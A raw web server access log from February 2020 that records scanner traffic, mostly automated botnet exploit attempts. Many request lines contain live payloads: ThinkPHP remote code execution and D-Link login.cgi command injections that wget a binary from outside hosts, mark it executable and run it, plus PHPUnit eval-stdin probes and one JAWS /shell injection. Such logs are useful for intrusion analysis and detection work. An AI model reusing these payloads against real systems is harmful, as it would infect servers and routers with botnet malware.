83.97.20.33 - - [09/Feb/2020:00:44:08 +0100] "OPTIONS / RTSP/1.0" 200 - "-" "-"
83.97.20.33 - - [09/Feb/2020:00:44:22 +0100] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 328 "-" "-"
42.116.100.236 - - [09/Feb/2020:00:45:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.176.40.33 - - [09/Feb/2020:00:48:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
134.249.245.17 - - [09/Feb/2020:00:48:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
91.64.51.185 - - [09/Feb/2020:00:49:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
202.40.191.115 - - [09/Feb/2020:00:49:34 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [09/Feb/2020:00:49:34 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [09/Feb/2020:00:49:35 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [09/Feb/2020:00:49:35 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [09/Feb/2020:00:49:35 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [09/Feb/2020:00:49:36 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [09/Feb/2020:00:49:36 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [09/Feb/2020:00:49:37 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [09/Feb/2020:00:49:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
81.4.86.47 - - [09/Feb/2020:00:50:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.87.249.194 - - [09/Feb/2020:00:53:08 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
59.7.155.141 - - [09/Feb/2020:00:54:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [09/Feb/2020:00:54:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [09/Feb/2020:00:54:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [09/Feb/2020:00:54:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [09/Feb/2020:00:54:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
2.135.90.61 - - [09/Feb/2020:00:55:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.57.40.38 - - [09/Feb/2020:00:55:29 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
171.229.249.218 - - [09/Feb/2020:00:58:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [09/Feb/2020:00:59:01 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
35.229.81.91 - - [09/Feb/2020:00:59:56 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
35.229.81.91 - - [09/Feb/2020:00:59:56 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
222.186.19.221 - - [09/Feb/2020:01:03:40 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
42.117.56.91 - - [09/Feb/2020:01:05:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [09/Feb/2020:01:06:05 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
1.54.168.15 - - [09/Feb/2020:01:06:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.215.155 - - [09/Feb/2020:01:10:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
175.35.173.108 - - [09/Feb/2020:01:11:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
222.186.19.221 - - [09/Feb/2020:01:11:54 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
1.53.42.245 - - [09/Feb/2020:01:11:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.19.178.210 - - [09/Feb/2020:01:13:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [09/Feb/2020:01:13:40 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
103.90.205.163 - - [09/Feb/2020:01:14:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
27.72.30.57 - - [09/Feb/2020:01:19:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.9.167 - - [09/Feb/2020:01:19:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.176.194.96 - - [09/Feb/2020:01:19:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.27.170.68 - - [09/Feb/2020:01:20:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [09/Feb/2020:01:20:15 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [09/Feb/2020:01:20:51 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
95.9.207.130 - - [09/Feb/2020:01:20:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
62.210.169.121 - - [09/Feb/2020:01:21:10 +0100] "GET http://45.76.45.209/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
1.53.172.196 - - [09/Feb/2020:01:22:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.138.75.107 - - [09/Feb/2020:01:24:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
42.113.229.3 - - [09/Feb/2020:01:27:02 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
181.174.205.26 - - [09/Feb/2020:01:28:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
188.138.75.107 - - [09/Feb/2020:01:28:42 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
222.186.19.221 - - [09/Feb/2020:01:30:26 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
117.82.206.254 - - [09/Feb/2020:01:32:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.138.75.107 - - [09/Feb/2020:01:33:56 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [09/Feb/2020:01:33:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
42.117.213.53 - - [09/Feb/2020:01:34:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.132.145.23 - - [09/Feb/2020:01:35:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.20.170.197 - - [09/Feb/2020:01:36:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
188.138.75.107 - - [09/Feb/2020:01:38:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
109.207.102.79 - - [09/Feb/2020:01:39:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.251.205.15 - - [09/Feb/2020:01:42:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.57.40.38 - - [09/Feb/2020:01:44:52 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [09/Feb/2020:01:46:22 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [09/Feb/2020:01:48:19 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
112.72.92.163 - - [09/Feb/2020:01:48:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
93.123.16.108 - - [09/Feb/2020:01:48:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.57.40.38 - - [09/Feb/2020:01:49:43 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
103.23.203.106 - - [09/Feb/2020:01:51:35 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
73.32.140.239 - - [09/Feb/2020:01:52:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.122.224.20 - - [09/Feb/2020:01:52:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.106.220.23 - - [09/Feb/2020:01:54:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
193.57.40.38 - - [09/Feb/2020:01:54:50 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
179.97.251.121 - - [09/Feb/2020:01:55:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
193.57.40.38 - - [09/Feb/2020:01:55:25 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
183.80.89.242 - - [09/Feb/2020:01:56:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
111.34.71.48 - - [09/Feb/2020:02:00:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
81.4.86.47 - - [09/Feb/2020:02:00:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.57.40.38 - - [09/Feb/2020:02:01:08 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
113.22.190.107 - - [09/Feb/2020:02:02:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.253.168 - - [09/Feb/2020:02:02:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.187.209.181 - - [09/Feb/2020:02:03:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.251.196.247 - - [09/Feb/2020:02:04:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.68.246.198 - - [09/Feb/2020:02:10:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.85.91.19 - - [09/Feb/2020:02:13:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.180.208.154 - - [09/Feb/2020:02:14:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [09/Feb/2020:02:14:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [09/Feb/2020:02:14:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [09/Feb/2020:02:15:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [09/Feb/2020:02:15:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
194.50.147.93 - - [09/Feb/2020:02:15:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
81.4.86.47 - - [09/Feb/2020:02:16:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.100.12.210 - - [09/Feb/2020:02:17:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
110.9.148.211 - - [09/Feb/2020:02:18:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.132.67.135 - - [09/Feb/2020:02:19:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
220.130.21.230 - - [09/Feb/2020:02:20:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.235.146.76 - - [09/Feb/2020:02:21:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
208.114.149.10 - - [09/Feb/2020:02:21:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
139.162.106.181 - - [09/Feb/2020:02:22:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
211.192.180.178 - - [09/Feb/2020:02:27:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [09/Feb/2020:02:27:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [09/Feb/2020:02:27:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [09/Feb/2020:02:27:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
200.89.99.238 - - [09/Feb/2020:02:27:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.192.180.178 - - [09/Feb/2020:02:28:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
1.54.135.171 - - [09/Feb/2020:02:31:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
